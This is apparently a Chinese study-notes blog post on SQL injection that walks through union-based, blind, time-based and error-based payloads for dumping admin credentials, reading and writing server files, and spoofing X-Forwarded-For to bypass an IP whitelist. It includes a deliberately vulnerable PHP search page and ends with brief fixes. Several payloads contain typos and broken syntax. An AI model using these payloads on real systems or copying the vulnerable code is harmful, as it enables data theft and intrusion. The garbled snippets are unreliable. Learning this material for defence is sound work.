OWASP学习之SQL注入

在这里插入图片描述

一、sql注入的注入点:

  1. 参数名
  2. 参数值
  3. cookie
  4. 目录文件名

工具:sev3wvs或者啊D注入

  • 是否存在sql注入:
select * from news where id = 3-1' 
##加单引号如果id=1‘、id=2‘、id=-1’、id=1 and 1=1‘ 
##以及id=1‘ and1=2‘的返回结果不一样则说明存在注入。

##也可以取消后面的单引号用‘#’或者‘--+’注释后面部分的语句
  • sql注入方向:

  • Q1.注入点查询的语句实际上有多少个列名

  • Q2.我想把我自己的union select查询出来的东西显示出来

  • Q3.我怎么知道其他表的名字

    A1.巧用order by(依据第几列排序)

select * from news where id = 1' order by 4;
##反馈报错则说明访问数据表只有三列

A2.使用union select(联合查询)

select * from news where id= -1' union select 1,2,3 from admin;
##用id=-1使得前半句查询语句在news中查不到对应数据条,于是没有回显。
##则只显示admin中的数据。

A3.使用and exits(判断查询结果报错)

select * from news where id = 1' exits(select * from aa)##如果返回报错则不存在表aa。
##由此可使用http传输过程,将表名设为参数使用burp爆破表名一个一个排查。
##注意这里把id设置成1因为这是and与操作前面必须通过才执行后面,和联合查询不一样。

此外,也可以将表名和列名同时设置为参数一起进行burp爆破比较方便:

select * from news where id = 1 and exits(select $col1$ ,$col2$ from $table_name$;

SUMMARY -------- SQL注入攻击的四个步骤
1.判断注入点 and 1 = 2 --+
2.order by 定列数
3.and exits 定列名
4.union select 查数据(先 id=-1' union select 1,2,3 from admin;id=-1'union select 1,username,password from admin;)

sql注入搜索型:

<?php
 $conn = mysql_connect('localhost','root','root') or die("bad!");
 //使用root账号、root密码去登陆localhost这个ip地址上的Ip服务
 mysql_query("SET NAMES utf-8");
 //执行设置编码函数
 mysql_select_db('sqltest',$conn) or endMsg("数据库连接失败"):
 //连接数据库后选择了sqltest这个库


$title = issert($_GET['title'])? $_GET['title'] : "vulkey";
//对应url是 0.php?title=可控制传入值
$sql = "SELECT * from news WHERE title like '%{$title}%'";
//%表示通配符适用于搜索的模型匹配
$result = mysql_query($sql,$conn) or die(mysql_error());
%>

<!DOCTYPE html>
<html>
<body>
	<?php $row = mysql_fetch_array($result,MYSQL_ASSOC);
	echo "sql语句:SELECT * FROM news where title like'%<font color = 'red'>{$title}</font>%'";

	echo "<hr>";
	echo "<center><table border='2'><tr>
		<td>标题</td><td>内容</td></tr>
		<tr><td>{$row['title']}</td><td>{$row['content']}</td>
		</tr></table></center>";
	mysql_free_result($result);
?>
</body>
</html>

1.判断是否存在注入点

**Note:**当有%模型匹配时结尾不只单引号,要百分号和单引号一起闭合。

title = m%and%1%= %1
或
title = m%and1%= '1
对应执行的sql语句:
select * from news where title like '%m%' and '1%' = '1%'

2.判断列数:

title=m%' order by 4 --+

3.获取表名:

title=m%' and exists (select * from $admin$) --+
##admin使用Burp爆破

4.表的列名:

title=m%' and exists(select $cols$ from $admin$) --+
##cols和admin使用Burp爆破

5.库名:

title=-mm%' union select 1,database(),3 from admin--+
##选择前半句不存在的值则只显示联合查询的后半句的结果
  • 一次输出所有列名:concat:
title=-mmmmm%' union select1,group_concat(column_name),3 from information_schema.columns where table_schema = 'sqltest' and table_name='admin' --+

此处可以将库名表名转化为16进制,这样就不用加单引号了。

二、sql注入写文件

  • 写入需要的条件:
  1. 绝对路径:D:/www
  2. 必须为最高权限(root)
title=-mmmmmmmm% union select(`1,2,3 into outfile 'D:/WWW/KEY.txt' --+
##正斜杠转义若要用正斜杠要用两个

三、sql注入读文件

  • load_file()导入文件
  • replace()替换
  • hex()十六进制转换
title=-mmmmmmmm% union select 1,hex(load_file('D:/www/key.txt'),2 from admin;

四、SQL注入远程执行

五、sql盲注

指的是页面无任何信息返回,可进行时间盲注延迟5s返回之类的。

1.bool盲注只有真假的反馈

id=1 and user = 'root@localhost';
id=1 and user like 'r%';

2.时间盲注

id=1 and sleep(5)
##查看网页F12的网络窗口有时间线成功执行秒数后返回0,即不显示数据

在这里介绍Mysql中的IF语句: IF(expr1,expr2,expr3)
expr1条件为真执行expr2否则执行expr3
执行select(1,‘true’,‘false’)返回true

再介绍Mysql的MID(str,pos,len)
对str从pos位置开始截取长度为len的字符串并返回

因此可以写出以下注入语句:

select if(ascii(mid(user(),$1$,1)=$114$,sleep(5),1);
##根据有无时间延迟来判断User()的第一个字符是否是ascii码为114的'r'字符
##对于这个式子可以对pos位置的1和114进行burp标记参数爆破以逐个排查user()不同位置的值
##设置方面,对Burpsuite软件的爆破策略选Numbers范围从0-127逐步递增的step选1

在此之前要先知道user()结果的长度:

id = 1 if(length(user())=$14$,sleep(5),1);
##这样对$1$进行设置的时候可以知道排查到什么位置后面就没有了.

推广到已知列名后逐一获取列中数据:

id = 1 and if(ascii(mid((select username from admin where id=1),$1$,1))=$114$,sleep(5),1);

推广到已知列名后逐一获取列中所有数据:

id =1 and if(ascii(mid((select group_concat(username) from admin),$1$,1)=$114$,sleep(5),1);

本小节涉及到的五个函数:
if() ascii() mid() group_concat() sleep(5)

  • 搜索型sql语句的盲注:
id = 1 and if(ascii(mid((select user() from admin),$1$,1)) like 'r%'),sleep(5),1;
##但是需要加单引号可能会比较麻烦

六、报错注入

首先需要了解count()、rand()、floor()、group by 、concat函数
count():检索结果中非空行的行数。如select count(*) from news;
rand():产生随机浮点值。
concat():连接函数

介绍RAND()、RAND(N)函数
前者返回一个随机浮点值N,范围在0到1之间。后者制定一个整数参数N后则他被用作种子值,用来产生重复序列。
rand();rand();两次结果不同
rand(5);rand(5);两次结果相同,所以为了保证随机性最好使用rand()*5;

先看下面这两段代码作比较:

select count(x).(concat(user().ox7e.floor(rand(0)*2)x  from admin group by x;
##(floor(rand(0)*2))x是对这段数据起别名的意思
select count(x).(concat(user().ox7e.floor(rand()*2)x from admin group by x;
##0x7e是波浪号

测试最终测到总是会报错:

Duplicate entry 'root@localhost~1' for key 'group by key'

若一个表test中有几行字符串数据:则如下语句执行会得到如下结果:

select fllor(rand(0)*2) from keytest.test;

执行结果:

floor(rand(0)*2
0
1
1
0
1
1
0
1
1
0
1
1
0
1
1

发现规律永远是011011,原理见下图:
在这里插入图片描述在这里插入图片描述
floor(rand(0)*2)被计算3次、查数据库表5次这也就是为什么数据表需要三条数据。
改成flloor(rand()*2)则不会报错,因为第一次不会随机产生0,所以不管查询多少条记录都能找到,则不会再次计算,只是简单增加count(*)字段的数量,所以不会报错。

id=1 and select 1 from(select count(*),concat((select username from admin where id = 1).0x7e.(floor(rand(0)*2))x) from admin group by x)a
##对select from 后面的表整个重命名为a
##floor部分整个重命名为x

则可在显示报错时将你要显示的用户名的部分被拼接显示出来。
所以报错注入是针对信息不如直接查询的情况,以通过报错从错误信息中获取信息的情况。

七、另类注入

  • Base64注入
    加函数base64_decode()解码
  • XFF注入
    请求包中的X-Forward-For头的值会被接收方复核,所以先写一个显示XFF的脚本:
<?php
	$ip = $_SERVER['HTTP_X_FOREARDED_FOR'];
	echo ip;
?>

绕过XFF验证如一个网页脚本设置白名单如下(只有指定XFF为指定网址的才能登陆):

<meta charset="utf-8">
<?php
	$ip = $_SERVER['HTTP_X_FOREARDED_FOR'];
	if($ip==="127.0.0.1"){
		echo "登陆成功!";
	}else{
		echo "get out!";
	}
?>

则抓包之后修改XFF为127.0.0.1即可绕过。
则如果后端接收XFF就可以抓包XFF。

八、怎么修复SQL注入?

  • 白名单
  • 黑名单

1.将能接受的数据转换为整形:

$id = isset($_GET['id'])?intVal($_GET['id']):1;
//此举只适用于参数可以为整数型的。
//用已修复整形注入点。

2.将能接受的数据存入白名单数组:

if(inarray($_GET['id'],$array)){
	echo "执行sql语句"
}else{
	echo "查询数据不符合条件不予执行"
}
发布了30 篇原创文章 · 获赞 0 · 访问量 2045

猜你喜欢

转载自blog.csdn.net/s11show_163/article/details/104538655